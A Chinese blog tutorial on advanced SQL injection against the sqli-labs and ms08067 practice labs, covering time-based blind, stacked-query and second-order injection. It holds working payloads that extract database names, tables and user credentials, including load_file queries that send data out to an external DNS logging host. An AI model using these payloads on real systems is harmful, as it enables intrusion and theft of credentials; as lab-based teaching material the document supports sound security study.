SQL注入进阶

4.2 SQL注入进阶

4.2.1时间注入

与布尔盲注不同的是,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间边长。时间盲注多与IF(expr1,expr2,expr3)结合使用,这条IF语句的含义是:“如果expr1是TRUE,那么IF()的返回值为expr2;否则返回值为expr3.”
所以判断数据库库名长度的语句为:

if(length(database())>1,sleep(10),1)
/*含义是:如果数据库库名长度大于1执行sleep(10)睡眠10秒,否则查询1。*/

第一步·判断数据库名长度

?id=1' and if(length(database())>7,sleep(2),1)--+

使用burp拦截数据包,当大于7时响应时间为3030millis,当大于7时响应时间为1026millis。
在这里插入图片描述
在这里插入图片描述
所以判断长度为8

第二步·爆破数据库名

payload:
?id=1' and if(substr(database(),1,1)='s',sleep(2),1)--+
可以尝试二分法进行判断,也可以使用burp进行爆破,但是响应时间应该随之改变。

在这里插入图片描述
在这里插入图片描述
爆破得到库名为“security”

第三步·爆破表名

Payload:
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(2),1)--+

在这里插入图片描述
得到表:emails、referers、uagents、users

第四步·爆破字段

Payload:
?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(2),1)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第五步·猜解数据

Payload:
?id=1' and if(substr((select username from security.users limit 0,1),1,1)='d',sleep(2),1)--+
?id=1' and if(substr((select password from security.users limit 0,1),1,1)='d',sleep(2),1)--+

在这里插入图片描述
在这里插入图片描述

4.2.3堆叠查询注入攻击

堆叠注入攻击是将两条语句使用“;”进行合并一起执行。和union不同的是,union用来执行查询语句,而堆叠注入可以执行任意的语句。
但是堆叠注入的缺点是,第二条语句无论执行成功或失败都不会有回显。所以如果想使用堆叠注入来查询数据,则需要联合其他攻击方法进行攻击。例如:

Less-38
第一步·查询数据库名

payload:
?id=1'; select load_file(concat('///',(select database()),'url//123.txt'))--+
url处更换成自己的测试网站。

在这里插入图片描述
成功带外。

第二步·查询表名

payload:
?id=1'; select load_file(concat('///',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxx.ceye.io//123.txt'))--+

在这里插入图片描述
第三步·查询列名

Payload:
?id=1';select load_file(concat('///',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.xxx.ceye.io//123.txt'))--+

在这里插入图片描述
第四步·查询数据

Payload:
?id=1';select load_file(concat('///',(select username from security.users limit 0,1),'.xxx.ceye.io///123.txt'))--+

4.2.5 二次注入攻击

原理分析:
第一次注入时,将注入攻击及代码写入,接下来引用第一次所写入的数据触发代码进行攻击。

靶场练习1:
sqli-labs less-24

创建新用户
“admin'%23#”
登录新用户,更改密码为1234
之后重新登录admin用户。
发现admin用户密码已经更改成功。此时运行的语句如下

UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password='xxx

原因是由于我们注册的用户名为“admin'%23#”#号后面的语句会被注释掉,所以会导致admin用户的密码被更改。

靶场练习2:
ms08067 二次注入

doubel1.php从源码看是进行注册用户的页面
注册“test'”用户
返回新的id:6
在doubel2.php页面测试
返回报错

在这里插入图片描述

返回页面doubel1.php
注册用户“test' order by 1--+”来判断存在几列
得知有3列数据

在这里插入图片描述

判断显示位
“test' union select 1,2,3--+”
显示为是2,3

在这里插入图片描述

使用Payload:test' union select 1,database(),user()--+
得知当前数据库为test,用户为root

在这里插入图片描述

查询表名
test' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'--+

在这里插入图片描述

查询users表中的列名
test' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

在这里插入图片描述

查询字段
test' union select 1,username,password from test.users where id='2'--+
得到用户名与密码
密码为md5加密
尝试解密

在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值